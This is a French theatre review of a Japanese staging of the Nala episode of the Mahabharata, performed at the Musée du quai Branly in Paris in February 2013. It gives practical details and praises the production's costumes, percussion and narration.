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Mahabharata (Critique)

Le mercredi 6 février 2013 à 12 h 38 min | Par | Rubrique : Critique, Théâtre musical

Lieu : Musée du quai Branly 37, quai Branly 75007 Paris
Dates : du 6 au 10 février 2013
Horaires : le mercredi 6 février 2013 à 19h les jeudi 7, vendredi 8, samedi 9 février à 20h le dimanche 10 février à 17h
Tarifs : 15 € / 10 €
Informations supplémentaires : 01 56 61 70 00

Shizuoka Performing Arts Center est une scène japonaise de théâtre contemporain, dirigée par Satoshi Miyagi, dont le travail de mise en scène, inspiré du Kabuki, est basé sur la dissociation du Logos et du Pathos, de la parole et du corps.

Ce Mahabharata a été créé en 2003 au Musée National de Tokyo : un seul conteur dit le texte des 25 comédiens qui évoluent sur scène, retraçant l’un des épisodes de cette mythique épopée indienne, l’histoire du Roi Nala.

Masques somptueux, costumes en papier japonais dans la tradition de l’époque Heian (9ème – 12ème siècles), percussions de tous horizons (gamelan, djembé…), ce Mahabharata japonais, présenté à l’ouverture du théâtre Claude Lévi-Strauss en 2006, est un spectacle total dont l’énergie des interprètes, le souffle épique, la beauté visuelle et l’extraordinaire vitalité proposent un véritable théâtre universel.

 

Notre avis : Imaginez deux plateaux de bois comme deux scènes où se jouent ces récits initiatiques… Et puis non : n’imaginez pas, profitez de ces quelques représentations parisiennes pour découvrir ce très beau spectacle qui a pour particularité de mêler avec bonheur différentes cultures. En effet si l’oeuvre originelle est indienne (ce n’est qu’un extrait du Mahabharata, épopée poétique et mythologique fleuve, dont il est question ici), les instruments issus de différentes cultures, c’est bien un spectacle… japonais que l’on admire au final. Les rythmes des percussions, les tonalités, tout évoque le pays du soleil levant. De même pour la mise en scène et la scénographie qui empruntent à divers courants de l’histoire du théâtre japonais jusqu’au dédoublement des personnages : un acteur interprète un rôle, secondé par un narrateur (exploit pour cet interprète, installé durant toute la durée de la représentation dans un coin du plateau principal, et qui interprète tous les rôles…). Le Japon, dans son histoire, s’est nourri de nombreuses influences : normal, par conséquent, qu’il en soit ainsi pour ce spectacle visuellement splendide. Les costumes, accessoires et masques empruntent toutes les nuances de blanc, une touche de rouge vient parfaire parfois le tableau. S’il faut un petit moment pour s’acclimater au principe esthétique et narratif, ce conte initiatique réserve de nombreux moments de pure magie. L’histoire de ce couple royal unit dans la joie et défait par les facéties d’un démon accablé pour sa laideur, la rédemption qui passe par l’état de serviteurs (la reine, plutôt du genre combative, devient servante, son mari le roi Nala éducateur de chevaux) avant un final qui voit triompher l’amour ne manque pas de séduire le spectateur. Alors plongez dans cette fabuleuse histoire contée avec fougue par une troupe épatante, soutenue par les rythmes entêtants. Une réussite !

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